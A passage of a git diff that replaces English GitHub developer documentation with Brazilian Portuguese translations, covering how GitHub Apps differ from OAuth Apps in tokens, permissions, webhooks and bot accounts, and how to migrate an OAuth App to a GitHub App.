+| Um token de instalação identifica o aplicativo como o bot do aplicativo GitHub, como, por exemplo, @jenkins-bot.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Um token de acesso identifica o aplicativo como o usuário que concedeu o token ao aplicativo, como, por exemplo, o @octocat.                                                                                                                                                               |
+| Os tokens de instalação expiram após um tempo predefinido (atualmente, 1 hora).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Os tokens do OAuth permanecem ativos até que sejam cancelados pelo cliente.                                                                                                                                                                                                                |
+| {% data reusables.apps.api-rate-limits-non-ghec %}{% ifversion fpt or ghec %} Aplicam-se limites de taxa mais altos para {% data variables.product.prodname_ghe_cloud %}. Para obter mais informações, consulte "[Limites de taxas para os aplicativos GitHub](/developers/apps/rate-limits-for-github-apps)."{% endif %}                                                                                                                                                                                                                                                                                                                                                 | Os tokens do OAuth usam o limite de taxa de usuário de 5.000 solicitações por hora.                                                                                                                                                                                                        |
+| Os aumentos no limite de taxa pode ser concedido tanto no nível do aplicativo GitHub (afetando todas as instalações) quanto no nível de instalação individual.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Os aumentos no limite de taxa são concedidos pelo aplicativo OAuth. Todo token concedido para que o aplicativo OAuth obtém um aumento do limite.                                                                                                                                           |
+| {% data variables.product.prodname_github_apps %} pode efetuar a autenticação em nome do usuário, que é denominado de solicitações de usuário para servidor. O fluxo para autorizar é o mesmo que o fluxo de autorização do aplicativo OAuth. Os tokens de usuário para servidor podem expirar e ser renovados com um token de atualização. Para obter mais informações, consulte "[Atualizando tokens de acesso do usuário para servidor](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)" e "[identificando e autorizando os usuários para os aplicativos GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)". | O fluxo do OAuth usado por {% data variables.product.prodname_oauth_apps %} autoriza um {% data variables.product.prodname_oauth_app %} em nome do usuário. Este é o mesmo fluxo de uso na autorização de usuário para servidor do {% data variables.product.prodname_github_app %}. |
 
-## Requesting permission levels for resources
+## Solicitar níveis de permissão para os recursos
 
-Unlike OAuth apps, GitHub Apps have targeted permissions that allow them to request access only to what they need. For example, a Continuous Integration (CI) GitHub App can request read access to repository content and write access to the status API. Another GitHub App can have no read or write access to code but still have the ability to manage issues, labels, and milestones. OAuth Apps can't use granular permissions.
+Ao contrário dos aplicativos OAuth, os aplicativos GitHub têm permissões direcionadas que lhes permitem solicitar acesso apenas ao que precisam. Por exemplo, uma Integração Contínua (CI) do aplicativo GitHub pode solicitar acesso de leitura ao conteúdo do repositório e acesso de gravação à API de status. Outro aplicativo GitHub não pode ter acesso de leitura ou de gravação para o código, mas ainda assim pode gerenciar problemas, etiquetas e marcos. Os aplicativos OAuth não podem usar permissões granulares.
 
-| Access | GitHub Apps (`read` or `write` permissions) | OAuth Apps |
-| ------ | ----- | ----------- |
-| **For access to public repositories** | Public repository needs to be chosen during installation. | `public_repo` scope. |
-| **For access to repository code/contents** | Repository contents | `repo` scope. |
-| **For access to issues, labels, and milestones** | Issues | `repo` scope. |
-| **For access to pull requests, labels, and milestones** | Pull requests | `repo` scope. |
-| **For access to commit statuses (for CI builds)** | Commit statuses | `repo:status` scope. |
-| **For access to deployments and deployment statuses** | Deployments | `repo_deployment` scope. |
-| **To receive events via a webhook** | A GitHub App includes a webhook by default. | `write:repo_hook` or `write:org_hook` scope. |
+| Access                                                    | Aplicativos GitHub (permissões de `leitura` ou `gravação`)        | Aplicativos OAuth                             |
+| --------------------------------------------------------- | ----------------------------------------------------------------- | --------------------------------------------- |
+| **Para acesso a repositórios públicos**                   | O repositório público precisa ser escolhido durante a instalação. | Escopo do `public_repo`.                      |
+| **Para acesso ao código/conteúdo do repositório**         | Conteúdo do repositório                                           | Escopo do `repositório`.                      |
+| **Para acesso a problema, etiquetas e marcos**            | Problemas                                                         | Escopo do `repositório`.                      |
+| **Para acesso a pull requests, etiquetas e marcos**       | Pull requests                                                     | Escopo do `repositório`.                      |
+| **Para acesso ao status do commit (para criações de CI)** | Status do commit                                                  | Escopo do `repo:status`.                      |
+| **Para acesso às implantações e status de implantação**   | Implantações                                                      | Escopo do `repo_deployment`.                  |
+| **Para receber eventos por meio de um webhook**           | Um aplicativo de GitHub inclui um webhook por padrão.             | Escopo `write:repo_hook` ou `write:org_hook`. |
 
-## Repository discovery
+## Descoberta de repositório
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| GitHub Apps can look at `/installation/repositories` to see repositories the installation can access. | OAuth Apps can look at `/user/repos` for a user view or `/orgs/:org/repos` for an organization view of accessible repositories. |
-| GitHub Apps receive webhooks when repositories are added or removed from the installation. | OAuth Apps create organization webhooks for notifications when a new repository is created within an organization. |
+| Aplicativos do GitHub                                                                                                       | Aplicativos OAuth                                                                                                                                                                                       |
+| --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Os aplicativos GitHub podem olhar para `/installation/repositórios` para ver os repositórios que a instalação pode acessar. | Aplicativos OAuth podem olhar para `/user/repos` para obter uma visualização do usuário ou para `/orgs/:org/repos` para obter uma visualização da organização dos repositórios repositórios acessíveis. |
+| Os aplicativos GitHub recebem webhooks quando os repositórios são adicionados ou removidos da instalação.                   | Os aplicativos OAuth criam webhooks de organização para notificações quando um novo repositório é criado dentro de uma organização.                                                                     |
 
 ## Webhooks
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| By default, GitHub Apps have a single webhook that receives the events they are configured to receive for every repository they have access to. | OAuth Apps request the webhook scope to create a repository webhook for each repository they need to receive events from. |
-| GitHub Apps receive certain organization-level events with the organization member's permission. | OAuth Apps request the organization webhook scope to create an organization webhook for each organization they need to receive organization-level events from. |
+| Aplicativos do GitHub                                                                                                                                      | Aplicativos OAuth                                                                                                                                                                          |
+| ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Por padrão, os aplicativos GitHub têm um único webhook que recebe os eventos que estão configurados para receber para cada repositório ao qual têm acesso. | Os aplicativos OAuth solicitam o escopo do webhook para criar um webhook do repositório para cada repositório do qual precisam receber eventos.                                            |
+| O aplicativo GitHub recebe certos eventos a nível da organização com a permissão do integrante da organização.                                             | Os aplicativos OAuth solicitam o escopo do webhook da organização para criar um webhook da organização para cada organização da qual precisam para receber eventos a nível da organização. |
 
-## Git access
+## Acesso Git
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| GitHub Apps ask for repository contents permission and use your installation token to authenticate via [HTTP-based Git](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | OAuth Apps ask for `write:public_key` scope and [Create a deploy key](/rest/reference/deployments#create-a-deploy-key) via the API. You can then use that key to perform Git commands. |
-| The token is used as the HTTP password. | The token is used as the HTTP username. |
+| Aplicativos do GitHub                                                                                                                                                                                                                                                     | Aplicativos OAuth                                                                                                                                                                                                      |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Os aplicativos GitHub solicitam permissão de conteúdo de repositórios e usam seu token de instalação para efetuar a autenticação por meio do [Git baseado em HTTP](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | Os aplicativos OAuth solicitam escopo `write:public_key` e [Criar uma chave de implantação](/rest/reference/deployments#create-a-deploy-key) por meio da API. Você pode usar essa chave para realizar comandos do Git. |
+| O token é usado como senha HTTP.                                                                                                                                                                                                                                          | O token é usado como nome de usuário HTTP.                                                                                                                                                                             |
 
-## Machine vs. bot accounts
+## Máquina vs. contas de bot
 
-Machine user accounts are OAuth-based user accounts that segregate automated systems using GitHub's user system.
+Contas de usuário de máquina são contas de usuário baseadas no OAuth que separam sistemas automatizados usando o sistema de usuário do GitHub.
 
-Bot accounts are specific to GitHub Apps and are built into every GitHub App.
+As contas do bot são específicas para os aplicativos GitHub e são construídas em todos os aplicativos GitHub.
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| GitHub App bots do not consume a {% data variables.product.prodname_enterprise %} seat. | A machine user account consumes a {% data variables.product.prodname_enterprise %} seat. |
-| Because a GitHub App bot is never granted a password, a customer can't sign into it directly. | A machine user account is granted a username and password to be managed and secured by the customer. |
+| Aplicativos do GitHub                                                                                   | Aplicativos OAuth                                                                                                         |
+| ------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
+| Os bots do aplicativo GitHub não consomem uma estação {% data variables.product.prodname_enterprise %}. | Uma conta de usuário de máquina consome uma estação {% data variables.product.prodname_enterprise %}.                     |
+| Como um bot do aplicativo GitHub nunca recebe uma senha, um cliente não pode entrar diretamente nele.   | Um nome de usuário e senha são concedidos a uma conta de usuário de máquina para ser gerenciada e protegida pelo cliente. |
diff --git a/translations/pt-BR/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md b/translations/pt-BR/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md
index c50c580dbb..d94a1eed60 100644
--- a/translations/pt-BR/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md
+++ b/translations/pt-BR/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating OAuth Apps to GitHub Apps
-intro: 'Learn about the advantages of migrating your {% data variables.product.prodname_oauth_app %} to a {% data variables.product.prodname_github_app %} and how to migrate an {% data variables.product.prodname_oauth_app %} that isn''t listed on {% data variables.product.prodname_marketplace %}. '
+title: Migrar aplicativos OAuth para aplicativos GitHub
+intro: 'Saiba mais sobre as vantagens de migrar seu {% data variables.product.prodname_oauth_app %} para um {% data variables.product.prodname_github_app %} e como migrar um {% data variables.product.prodname_oauth_app %} que não está listado no {% data variables.product.prodname_marketplace %}.'
 redirect_from:
   - /apps/migrating-oauth-apps-to-github-apps
   - /developers/apps/migrating-oauth-apps-to-github-apps
@@ -11,99 +11,100 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Migrate from OAuth Apps
+shortTitle: Fazer a migração dos aplicativos OAuth
 ---
-This article provides guidelines for existing integrators who are considering migrating from an OAuth App to a GitHub App.
 
-## Reasons for switching to GitHub Apps
+Este artigo fornece orientações para integradores existentes que estão considerando a migração de um aplicativo OAuth para um aplicativo GitHub.
 
-[GitHub Apps](/apps/) are the officially recommended way to integrate with GitHub because they offer many advantages over a pure OAuth-based integration:
+## Razões para alternar para aplicativos GitHub
 
-- [Fine-grained permissions](/apps/differences-between-apps/#requesting-permission-levels-for-resources) target the specific information a GitHub App can access, allowing the app to be more widely used by people and organizations with security policies than OAuth Apps, which cannot be limited by permissions.
-- [Short-lived tokens](/apps/differences-between-apps/#token-based-identification) provide a more secure authentication method over OAuth tokens. An OAuth token does not expire until the person who authorized the OAuth App revokes the token. GitHub Apps use tokens that expire quickly, creating a much smaller window of time for compromised tokens to be in use.
-- [Built-in, centralized webhooks](/apps/differences-between-apps/#webhooks) receive events for all repositories and organizations the app can access. Conversely, OAuth Apps require configuring a webhook for each repository and organization accessible to the user.
-- [Bot accounts](/apps/differences-between-apps/#machine-vs-bot-accounts) don't consume a {% data variables.product.product_name %} seat and remain installed even when the person who initially installed the app leaves the organization.
-- Built-in support for OAuth is still available to GitHub Apps using [user-to-server endpoints](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/).
-- Dedicated [API rate limits](/apps/building-github-apps/understanding-rate-limits-for-github-apps/) for bot accounts scale with your integration.
-- Repository owners can [install GitHub Apps](/apps/differences-between-apps/#who-can-install-github-apps-and-authorize-oauth-apps) on organization repositories. If a GitHub App's configuration has permissions that request an organization's resources, the org owner must approve the installation.
-- Open Source community support is available through [Octokit libraries](/rest/overview/libraries) and other frameworks such as [Probot](https://probot.github.io/).
-- Integrators building GitHub Apps have opportunities to adopt earlier access to APIs.
+[Os aplicativos GitHub](/apps/) são a forma oficialmente recomendada de integrar-se ao GitHub, pois oferecem muitas vantagens em relação a uma integração pura baseada no OAuth:
 
-## Converting an OAuth App to a GitHub App
+- [Permissões refinadas](/apps/differences-between-apps/#requesting-permission-levels-for-resources) direcionadas às informações específicas que um aplicativo GitHub pode acessar, o que permite que o aplicativo seja mais amplamente utilizado por pessoas e organizações com políticas de segurança do que os aplicativos OAuth, que não podem ser limitados pelas permissões.
+- [Os tokens de vida útil curta](/apps/differences-between-apps/#token-based-identification) fornecem um método de autenticação mais seguro em relação aos tokens do OAuth. Um token do OAuth não expira até que a pessoa que autorizou o aplicativo OAuth revogue o token. Os aplicativos GitHub usam tokens que expiram rapidamente, o que cria uma janela de tempo muito menor para que tokens comprometidos sejam usados.
+- [Os webhooks integrados e centralizados](/apps/differences-between-apps/#webhooks) recebem eventos para todos os repositórios e organizações que o aplicativo pode acessar. Inversamente, os aplicativos OAuth exigem a configuração de um webhook para cada repositório e organização acessível ao usuário.
+- [As contas do bot](/apps/differences-between-apps/#machine-vs-bot-accounts) não consomem um assento do {% data variables.product.product_name %} e permanecem instaladas mesmo quando a pessoa que inicialmente instalou o aplicativo sair da organização.
+- O suporte integrado para o OAuth ainda está disponível para aplicativos GitHub usando [pontos finais de usuário para servidor](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/).
+- [Os limites de taxa de API](/apps/building-github-apps/understanding-rate-limits-for-github-apps/) dedicados para as contas do bot são escalados com a sua integração.
+- Os proprietários de repositórios podem [instalar aplicativos GitHub](/apps/differences-between-apps/#who-can-install-github-apps-and-authorize-oauth-apps) em repositórios de organizações. Se a configuração de um aplicativo GitHub tiver permissões que solicitam os recursos de uma organização, o proprietário d organização deverá aprovar a instalação.
+- O suporte da comunidade do código aberto está disponível nas [bibliotecas do Octokit](/rest/overview/libraries) e outros estruturas como, por exemplo, o [Probot](https://probot.github.io/).
+- Os integradores que constroem os aplicativos GitHub têm a oportunidade de adotar acesso prévio às APIs.
 
-These guidelines assume that you have a registered OAuth App{% ifversion fpt or ghec %} that may or may not be listed in GitHub Marketplace{% endif %}. At a high level, you'll need to follow these steps:
+## Converter um aplicativo OAuth em um aplicativo GitHub
 
-1. [Review the available API endpoints for GitHub Apps](#review-the-available-api-endpoints-for-github-apps)
-1. [Design to stay within API rate limits](#design-to-stay-within-api-rate-limits)
-1. [Register a new GitHub App](#register-a-new-github-app)
-1. [Determine the permissions your app requires](#determine-the-permissions-your-app-requires)
-1. [Subscribe to webhooks](#subscribe-to-webhooks)
-1. [Understand the different methods of authentication](#understand-the-different-methods-of-authentication)
-1. [Direct users to install your GitHub App on repositories](#direct-users-to-install-your-github-app-on-repositories)
-1. [Remove any unnecessary repository hooks](#remove-any-unnecessary-repository-hooks)
-1. [Encourage users to revoke access to your OAuth App](#encourage-users-to-revoke-access-to-your-oauth-app)
-1. [Delete the OAuth App](#delete-the-oauth-app)
+Essas diretrizes assumem que você tem um aplicativo OAuth registrado{% ifversion fpt or ghec %} que pode ou não estar listado no GitHub Marketplace{% endif %}. De modo geral, você deverá seguir estas etapas:
 
-### Review the available API endpoints for GitHub Apps
+1. [Revise os pontos finais da API disponíveis para os aplicativos do GitHub](#review-the-available-api-endpoints-for-github-apps)
+1. [Projete para permanecer dentro dos limites de taxa da API](#design-to-stay-within-api-rate-limits)
+1. [Cadastre um novo aplicativo GitHub](#register-a-new-github-app)
+1. [Determine as permissões de que seu aplicativo precisa](#determine-the-permissions-your-app-requires)
+1. [Assine os webhooks](#subscribe-to-webhooks)
+1. [Entenda os diferentes métodos de autenticação](#understand-the-different-methods-of-authentication)
+1. [Oriente os usuários para instalar o seu aplicativo GitHub nos repositórios](#direct-users-to-install-your-github-app-on-repositories)
+1. [Remova quaisquer hooks de repositório desnecessários](#remove-any-unnecessary-repository-hooks)
+1. [Incentive os usuários a revogar o acesso ao seu aplicativo OAuth](#encourage-users-to-revoke-access-to-your-oauth-app)
+1. [Exclua o aplicativo OAuth](#delete-the-oauth-app)
 
-While the majority of [REST API](/rest) endpoints and [GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) queries are available to GitHub Apps today, we are still in the process of enabling some endpoints. Review the [available REST endpoints](/rest/overview/endpoints-available-for-github-apps) to ensure that the endpoints you need are compatible with GitHub Apps. Note that some of the API endpoints enabled for GitHub Apps allow the app to act on behalf of the user. See "[User-to-server requests](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-to-server-requests)" for a list of endpoints that allow a GitHub App to authenticate as a user.
+### Revise os pontos finais da API disponíveis para os aplicativos do GitHub
 
-We recommend reviewing the list of API endpoints you need as early as possible. Please let Support know if there is an endpoint you require that is not yet enabled for {% data variables.product.prodname_github_apps %}.
+Embora a maioria dos pontos finais da [API REST](/rest) e as consultas do [GraphQL]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) estejam disponíveis para os aplicativos GitHub atualmente, ainda estamos em vias de habilitar alguns pontos finais. Revise os [pontos finais da REST disponíveis](/rest/overview/endpoints-available-for-github-apps) para garantir que os pontos finais de que você precisa sejam compatíveis com o aplicativo GitHub. Observe que alguns dos pontos finais da API ativados para os aplicativos GitHub permitem que o aplicativo aja em nome do usuário. Consulte "[Solicitações de usuário para servidor](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-to-server-requests)" para obter uma lista de pontos finais que permitem que um aplicativo GitHub seja autenticado como usuário.
 
-### Design to stay within API rate limits
+Recomendamos que você reveja a lista de pontos finais de API de que você precisa assim que possível. Informe ao suporte se há um ponto de extremidade necessário que ainda não esteja habilitado para {% data variables.product.prodname_github_apps %}.
 
-GitHub Apps use [sliding rules for rate limits](/apps/building-github-apps/understanding-rate-limits-for-github-apps/), which can increase based on the number of repositories and users in the organization. A GitHub App can also make use of [conditional requests](/rest/overview/resources-in-the-rest-api#conditional-requests) or consolidate requests by using the [GraphQL API V4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql).
+### Projete para permanecer dentro dos limites de taxa da API
 
-### Register a new GitHub App
+Os aplicativos GitHub usam [regras móveis para limites de taxa](/apps/building-github-apps/understanding-rate-limits-for-github-apps/), que podem aumentar com base no número de repositórios e usuários da organização. Um aplicativo do GitHub também pode usar [solicitações condicionais](/rest/overview/resources-in-the-rest-api#conditional-requests) ou consolidar solicitações usando [GraphQL API V4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql).
 
-Once you've decided to make the switch to GitHub Apps, you'll need to [create a new GitHub App](/apps/building-github-apps/).
+### Cadastre um novo aplicativo GitHub
 
-### Determine the permissions your app requires
+Uma vez que você decidiu fazer a troca para os aplicativos GitHub, você precisará [criar um novo aplicativo GitHub](/apps/building-github-apps/).
 
-When registering your GitHub App, you'll need to select the permissions required by each endpoint used in your app's code. See "[GitHub App permissions](/rest/reference/permissions-required-for-github-apps)" for a list of the permissions needed for each endpoint available to GitHub Apps.
+### Determine as permissões de que seu aplicativo precisa
 
-In your GitHub App's settings, you can specify whether your app needs `No Access`, `Read-only`, or `Read & Write` access for each permission type. The fine-grained permissions allow your app to gain targeted access to the subset of data you need. We recommend specifying the smallest set of permissions possible that provides the desired functionality.
+Ao registrar seu aplicativo GitHub, você deverá selecionar as permissões necessárias por cada ponto final usado no código do seu aplicativo. Consulte "[Permissões do aplicativo GitHub](/rest/reference/permissions-required-for-github-apps)" para obter uma lista das permissões necessárias para cada ponto final disponível nos aplicativos GitHub.
 
-### Subscribe to webhooks
+Nas configurações do seu aplicativo GitHub, você pode especificar se seu aplicativo precisa de acesso `Sem Acesso`, `somente leitura`, ou `Leitura & Gravação` para cada tipo de permissão. As permissões refinadas permitem que seu aplicativo obtenha acesso direcionado ao subconjunto de dados de que você precisa. Recomendamos especificar o menor conjunto de permissões possível que fornece a funcionalidade desejada.
 
-After you've created a new GitHub App and selected its permissions, you can select the webhook events you wish to subscribe it to. See "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" to learn how to subscribe to webhooks.
+### Assine os webhooks
 
-### Understand the different methods of authentication
+Após criar um novo aplicativo GitHub e selecionar suas permissões, você poderá selecionar os eventos do webhook que você deseja que ele assine. Consulte "[Editando as permissões do aplicativo GitHub](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" para aprender como assinar webhooks.
 
-GitHub Apps primarily use a token-based authentication that expires after a short amount of time, providing more security than an OAuth token that does not expire. It’s important to understand the different methods of authentication available to you and when you need to use them:
+### Entenda os diferentes métodos de autenticação
 
-* A **JSON Web Token (JWT)** [authenticates as the GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app). For example, you can authenticate with a **JWT** to fetch application installation details or exchange the **JWT** for an **installation access token**.
-* An **installation access token** [authenticates as a specific installation of your GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation) (also called server-to-server requests). For example, you can authenticate with an **installation access token** to open an issue or provide feedback on a pull request.
-* An **OAuth access token** can [authenticate as a user of your GitHub App](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site) (also called user-to-server requests). For example, you can use an OAuth access token to authenticate as a user when a GitHub App needs to verify a user’s identity or act on a user’s behalf.
+Os aplicativos do GitHub usam principalmente uma autenticação baseada em tokens que expira após um curto período de tempo, o que fornece mais segurança do que um token OAuth que não expira. É importante entender os diferentes métodos de autenticação disponíveis para você e quando você precisa usá-los:
 
-The most common scenario is to authenticate as a specific installation using an **installation access token**.
+* Um **JSON Web Token (JWT)** [é autenticado como o aplicativo GitHub](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app). Por exemplo, você pode efetuar a autenticação com um **JWT** para buscar informações de instalação do aplicativo ou trocar o **JWT** por um **token de acesso de instalação**.
+* Um **token de acesso de instalação** [é autenticado como uma instalação específica do seu aplicativo GitHub](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation) (também denominado solicitações de servidor para servidor). Por exemplo, você pode efetuar a autenticação com um **token de acesso de instalação** para abrir um problema ou fornecer feedback em um pull request.
+* Um **token de acesso do OAuth** pode [efetuar a autenticação como usuário do seu aplicativo GitHub](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#identifying-users-on-your-site) (também denominado solicitações de usuário para servidor). Por exemplo, você pode usar um token de acesso OAuth para se efetuar a autenticação como usuário quando um aplicativo GitHub precisar verificar a identidade de um usuário ou agir em nome de um usuário.
 
-### Direct users to install your GitHub App on repositories
+O cenário mais comum é efetuar a autenticação como uma instalação específica usando um **token de acesso de instalação**.
 
-Once you've made the transition from an OAuth App to a GitHub App, you will need to let users know that the GitHub App is available to install. For example, you can include an installation link for the GitHub App in a call-to-action banner inside your application. To ease the transition, you can use query parameters to identify the user or organization account that is going through the installation flow for your GitHub App and pre-select any repositories your OAuth App had access to. This allows users to easily install your GitHub App on repositories you already have access to.
+### Oriente os usuários para instalar o seu aplicativo GitHub nos repositórios
 
-#### Query parameters
+Uma vez que você fez a transição de um aplicativo OAuth para um aplicativo GitHub, você precisará informar aos usuários que o aplicativo GitHub está disponível para instalação. Por exemplo, você pode incluir um link de instalação para o aplicativo GitHub em um banner de chamada para ação dentro de seu aplicativo. Para facilitar a transição, você pode usar parâmetros de consulta para identificar a conta do usuário ou organização que está passando pelo fluxo de instalação do seu aplicativo GitHub e pré-selecionar quaisquer repositórios aos quais o aplicativo OAuth tem acesso. Isso permite que os usuários instalem facilmente o seu aplicativo GitHub em repositórios aos quais você já tem acesso.
 
-| Name | Description |
-|------|-------------|
-| `suggested_target_id` | **Required**: ID of the user or organization that is installing your GitHub App. |
-| `repository_ids[]` | Array of repository IDs. If omitted, we select all repositories. The maximum number of repositories that can be pre-selected is 100. |
+#### Parâmetros de consulta
 
-#### Example URL
+| Nome                  | Descrição                                                                                                                                          |
+| --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `suggested_target_id` | **Obrigatório**: ID do usuário ou organização que está instalando o seu aplicativo GitHub.                                                         |
+| `repository_ids[]`    | Array de IDs do repositório. Se omitido, selecionaremos todos os repositórios. O número máximo de repositórios que pode ser pré-selecionado é 100. |
+
+#### Exemplo de URL
 ```
 https://github.com/apps/YOUR_APP_NAME/installations/new/permissions?suggested_target_id=ID_OF_USER_OR_ORG&repository_ids[]=REPO_A_ID&repository_ids[]=REPO_B_ID
 ```
 
-You'll need to replace `YOUR_APP_NAME` with the name of your GitHub App, `ID_OF_USER_OR_ORG` with the ID of your target user or organization, and include up to 100 repository IDs (`REPO_A_ID` and `REPO_B_ID`). To get a list of repositories your OAuth App has access to, use the [List repositories for the authenticated user](/rest/reference/repos#list-repositories-for-the-authenticated-user) and [List organization repositories](/rest/reference/repos#list-organization-repositories) endpoints.
+Você deverá substituir `YOUR_APP_NAME` pelo nome do seu aplicativo GitHub, `ID_OF_USER_OR_ORG` pelo ID do seu usuário-alvo ou organização, e incluir até 100 IDs de repositório (`REPO_A_ID` e `REPO_B_ID`). Para obter uma lista de repositórios à qual seu aplicativo OAuth tem acesso, use os pontos finais [Listar repositórios para o usuário autenticado](/rest/reference/repos#list-repositories-for-the-authenticated-user) e [Listar repositórios de organização](/rest/reference/repos#list-organization-repositories).
 
-### Remove any unnecessary repository hooks
+### Remova quaisquer hooks de repositório desnecessários
 
-Once your GitHub App has been installed on a repository, you should remove any unnecessary webhooks that were created by your legacy OAuth App. If both apps are installed on a repository, they may duplicate functionality for the user. To remove webhooks, you can listen for the [`installation_repositories` webhook](/webhooks/event-payloads/#installation_repositories) with the `repositories_added` action and [Delete a repository webhook](/rest/reference/webhooks#delete-a-repository-webhook) on those repositories that were created by your OAuth App.
+Uma vez que seu aplicativo GitHub foi instalado em um repositório, você deve remover quaisquer webhooks desnecessários criados pelo seu aplicativo de legado OAuth. Se ambos os aplicativos estiverem instalados em um repositório, eles poderão duplicar a funcionalidade do usuário. Para remover os webhooks, Você pode ouvir [`installation_repositories` webhook](/webhooks/event-payloads/#installation_repositories) com a ação `repositórios_added` e [Excluir um webhook do repositório](/rest/reference/webhooks#delete-a-repository-webhook) naqueles repositórios criados pelo seu aplicativo OAuth.
 
-### Encourage users to revoke access to your OAuth app
+### Incentive os usuários a revogar o acesso ao seu aplicativo OAuth
 
-As your GitHub App installation base grows, consider encouraging your users to revoke access to the legacy OAuth integration. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)."
+À medida que sua base de instalação do aplicativo GitHub aumenta, incentive seus usuários a revogar o acesso à integração do legado do OAuth. Para obter mais informações, consulte "[Autorizar aplicativos OAuth](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)".
 
-### Delete the OAuth App
+### Exclua o aplicativo OAuth
 
-To avoid abuse of the OAuth App's credentials, consider deleting the OAuth App. This action will also revoke all of the OAuth App's remaining authorizations. For more information, see "[Deleting an OAuth App](/developers/apps/managing-oauth-apps/deleting-an-oauth-app)."
+Para evitar o abuso das credenciais do aplicativo OAuth, considere excluir o aplicativo OAuth. Esta ação também irá revogar todas as autorizações restantes do aplicativo OAuth. Para obter mais informações, consulte "[Excluindo um aplicativo OAuth](/developers/apps/managing-oauth-apps/deleting-an-oauth-app)".
diff --git a/translations/pt-BR/content/developers/apps/guides/index.md b/translations/pt-BR/content/developers/apps/guides/index.md
index 4982239bab..f267ad1716 100644
--- a/translations/pt-BR/content/developers/apps/guides/index.md
+++ b/translations/pt-BR/content/developers/apps/guides/index.md
@@ -1,6 +1,6 @@
 ---
-title: Guides
-intro: 'Learn about using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API with your app, continuous integration, and how to build with apps.'
+title: Guias
+intro: 'Aprenda a usar a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} com o seu aplicativo, integração contínua e como criar com os aplicativos.'
 redirect_from:
   - /apps/quickstart-guides
 versions:
diff --git a/translations/pt-BR/content/developers/apps/guides/using-content-attachments.md b/translations/pt-BR/content/developers/apps/guides/using-content-attachments.md
index 8b8ddf5c68..54969b4637 100644
--- a/translations/pt-BR/content/developers/apps/guides/using-content-attachments.md
+++ b/translations/pt-BR/content/developers/apps/guides/using-content-attachments.md
@@ -1,42 +1,43 @@
 ---
-title: Using content attachments
-intro: Content attachments allow a GitHub App to provide more information in GitHub for URLs that link to registered domains. GitHub renders the information provided by the app under the URL in the body or comment of an issue or pull request.
+title: Usar anexos de conteúdo
+intro: Os anexos de conteúdo permitem que um aplicativo GitHub forneça mais informações no GitHub referente às URLs ligadas a domínios registrados. O GitHub interpreta as informações fornecidas pelo aplicativo sob a URL do texto ou comentário de um problema ou pull request.
 redirect_from:
   - /apps/using-content-attachments
   - /developers/apps/using-content-attachments
 versions:
-  ghes: '<3.4'
+  ghes: <3.4
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.pre-release-program.content-attachments-public-beta %}
 
-## About content attachments
+## Sobre os anexos de conteúdo
 
-A GitHub App can register domains that will trigger `content_reference` events. When someone includes a URL that links to a registered domain in the body or comment of an issue or pull request, the app receives the [`content_reference` webhook](/webhooks/event-payloads/#content_reference). You can use content attachments to visually provide more context or data for the URL added to an issue or pull request. The URL must be a fully-qualified URL, starting with either `http://` or `https://`. URLs that are part of a markdown link are ignored and don't trigger the `content_reference` event.
